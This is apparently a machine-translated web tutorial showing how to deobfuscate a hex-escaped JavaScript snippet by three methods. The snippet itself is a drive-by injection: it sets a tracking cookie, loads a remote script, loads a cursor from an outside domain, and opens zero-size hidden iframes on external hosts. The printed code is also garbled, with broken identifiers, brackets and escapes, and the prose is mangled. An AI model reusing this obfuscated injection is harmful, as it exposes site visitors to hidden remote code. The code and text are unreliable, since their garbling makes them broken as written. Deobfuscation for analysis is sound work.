Copy Code code as follows:
function Get () {
var $qL 1 = new window["\x44\x61\x74\x65"] ()
$qL 1["\x73\x65\x74\x54\x69\x6d\x65"] ($qL 1["\x67\x65\x74\x54\x69\x6d\x65"] () + 24*60*60*1000)
var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67" (window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\"] X69\X65 "])
var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d"
var WUhao4 = vuicgd2["\x69\x6e\x64\x65\x78\x4f\x66"] (JHasS3)
if (WUhao4!=-1) {
} else
{window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\x69\x65"] = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d\x50\ X4f\x50\x57\x49\x4e\x31\x3b\x65\x78\x70\x69\x72\x65\x73\x3d "+ $qL 1[" \x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\ X67 "] ()
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x48\x54\x4d\x4c\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x42\x4f\x44\x59 \x73\x74\x79\ X6c\x65\x3d\ ' \x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\ X2e\x63\x6e\/\x61\x64\x2e\x6a\x70\x67\x29\ ' \x3e\x3c\/\x42\x4f\x44\x59\x3e ');
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\/\x48\x54\x4d\x4c\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x73\x63\x72\x69\x70\x74 \x73\ X72\x63\x3d\ "\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\ X78\x5f\x70\x69\x63\/\x30\x36\x31\x34\x2e\x6a\x73\ "\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x69\x66\x72\x61\x6d\x65 \x73\ X72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\ x78\x5f\x70\x69\x63\/\x6d\x6d\x2e\x68\x74\x6d\x6c \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\ x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e ");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x69\x66\x72\x61\x6d\x65 \x73\ X72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\ X78\X5F\X70\X69\X63\/\X74\X6A\X2E\X68\X74\X6D \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\ x3c\/\x69\x66\x72\x61\x6d\x65\x3e ");
}
}get ();
Several ways to decrypt the above code:
Method One:
However, the character is converted to a 16-in-system escape value! You can know the meaning directly with alert.
<script> alert (' function get () {var $qL 1 = new window["\x44\x61\x74\x65"] () $qL 1["\x73\x65\x74\x54\x69\x6d\x65"] ($qL 1["\x67\x65\x74\x54\x69\x6d\x65"] () + 24*60*60*1000) var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67"] (window[ "\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\x69\x65"]) var JHasS3 = "\x43\x6f\x6f\x6b\x69\x65\x31\x3d" var WUhao4 = vuicgd2["\x69\x6e\x64\x65\x78\x4f\x66"] (JHasS3) if (WUhao4!=-1) {} else {window["\x64\x6f\x63\x75\x6d\x65 \x6e\x74 "] [" \x63\x6f\x6f\x6b\x69\x65 "] =" \x43\x6f\x6f\x6b\x69\x65\x31\x3d\x50\x4f\x50\x57\x49\x4e\x31\x3b\x65\ X78\x70\x69\x72\x65\x73\x3d "+ $qL 1[" \x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67 "] () window[" \x64\x6f\x63\x75\ x6d\x65\x6e\x74 "] [" \x77\x72\x69\x74\x65\x6c\x6e "] (" \x3c\x48\x54\x4d\x4c\x3e "); window[" \x64\x6f\x63\x75\x6d\x65 \x6e\x74 "] [" \x77\x72\x69\x74\x65\x6c\x6e "] (" \x3c\x42\x4f\x44\x59 \x73\x74\x79\x6c\x65\x3d\ ' \x43\x55\x52\x53\x4f \X52\X3A \x75\x72\x6c\x28\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x61\x64\x2e\x6a\x70\x67\x29\ ' \x3e\x3c\/\x42\x4f\x44\x59\x3e '); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["] x77\x72\x69\x74\x65\x6c\x6e "] (" \x3c\/\x48\x54\x4d\x4c\x3e "); window[" \x64\x6f\x63\x75\x6d\x65\x6e\x74 "[" \x77\ "] x72\x69\x74\x65\x6c\x6e "] (" \x3c\x73\x63\x72\x69\x70\x74 \x73\x72\x63\x3d\ "\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\ X32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x30\x36\x31\x34\x2e\x6a\x73\ "\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e"); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c"] \x6e "] (" \x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\ X6F\X6D\/\X64\X69\X72\/\X69\X6E\X64\X65\X78\X5F\X70\X69\X63\/\X6D\X6D\X2E\X68\X74\X6D\X6C \x77\x69\x64\x74\x68\ x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e "); window[" \x64\x6f\x63\x75\x6d\ x65\x6e\x74 "] [" \x77\x72\x69\x74\x65\x6c\x6e "] (" \x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\ x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\/\x74\x6a\x2e\x68\x74 \x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e ");} Get (); ') </script>
[Ctrl + A All SELECT Note: If the need to introduce external JS need to refresh to perform]
Method Two:
<script> function Get () {var $qL 1 = new window["\x44\x61\x74\x65"] () $qL 1["\x73\x65\x74\x54\x69\x6d\x65"] ($qL 1[ "\X67\X65\X74\X54\X69\X6D\X65"] () + 24*60*60*1000) var vuICgd2 = new window["\x53\x74\x72\x69\x6e\x67"] (window["\x64\") x6f\x63\x75\x6d\x65\x6e\x74 "] [" \x63\x6f\x6f\x6b\x69\x65 "]) var JHasS3 =" \x43\x6f\x6f\x6b\x69\x65\x31\x3d "var WUhao4 = vuicgd2["\x69\x6e\x64\x65\x78\x4f\x66"] (JHasS3) if (WUhao4!=-1) {} else {window["\x64\x6f\x63\x75\x6d\x65 \x6e\x74 "] [" \x63\x6f\x6f\x6b\x69\x65 "] =" \x43\x6f\x6f\x6b\x69\x65\x31\x3d\x50\x4f\x50\x57\x49\x4e\x31\x3b\x65\ X78\x70\x69\x72\x65\x73\x3d "+ $qL 1[" \x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67 "] () window[" \x64\x6f\x63\x75\ x6d\x65\x6e\x74 "] [" \x77\x72\x69\x74\x65\x6c\x6e "] (" \x3c\x48\x54\x4d\x4c\x3e "); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x42\x4f\x44\x59 \x73\x74\x79\ X6c\x65\x3d\ ' \x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\X2e\x63\x6e\/\x61\x64\x2e\x6a\x70\x67\x29\ ' \x3e\x3c\/\x42\x4f\x44\x59\x3e '); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\/\x48\x54\x4d\x4c\x3e"); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x73\x63\x72\x69\x70\x74 \x73\ X72\x63\x3d\ "\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\ X78\x5f\x70\x69\x63\/\x30\x36\x31\x34\x2e\x6a\x73\ "\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e"); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x69\x66\x72\x61\x6d\x65 \x73\ X72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\ x78\x5f\x70\x69\x63\/\x6d\x6d\x2e\x68\x74\x6d\x6c \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\ x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e "); window["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ["\x77\x72\x69\x74\x65\x6c\x6e"] ("\x3c\x69\x66\x72\x61\x6d\x65 \x73\ x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x73\x62\x2e\x32\x35\x75\x2e\x63\x6f\x6d\/\x64\x69\x72\/\x69\x6e\x64\x65\x78\x5f\x70\x69\x63\ /\X74\X6A\X2E\X68\X74\X6D \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\ x61\x6d\x65\x3e "); } </script> <script> alert (unescape (Document.scripts[0].innerhtml.replace (\\x)/gi, '% ')); </script>
[Ctrl + A All SELECT Note: If the need to introduce external JS need to refresh to perform]
Method Three:
<script> var box = opener.document.getElementsByTagName ("textarea") [0]; Box.value = unescape (Box.value.replace (/\\x/g, "%")); Box.offsetParent.scrollIntoView (); Alert ("Conversion completed, please appreciate the 1 floor code.") "); Self.close (); </script>
[Ctrl + A All SELECT Note: If the need to introduce external JS need to refresh to perform]
From 51js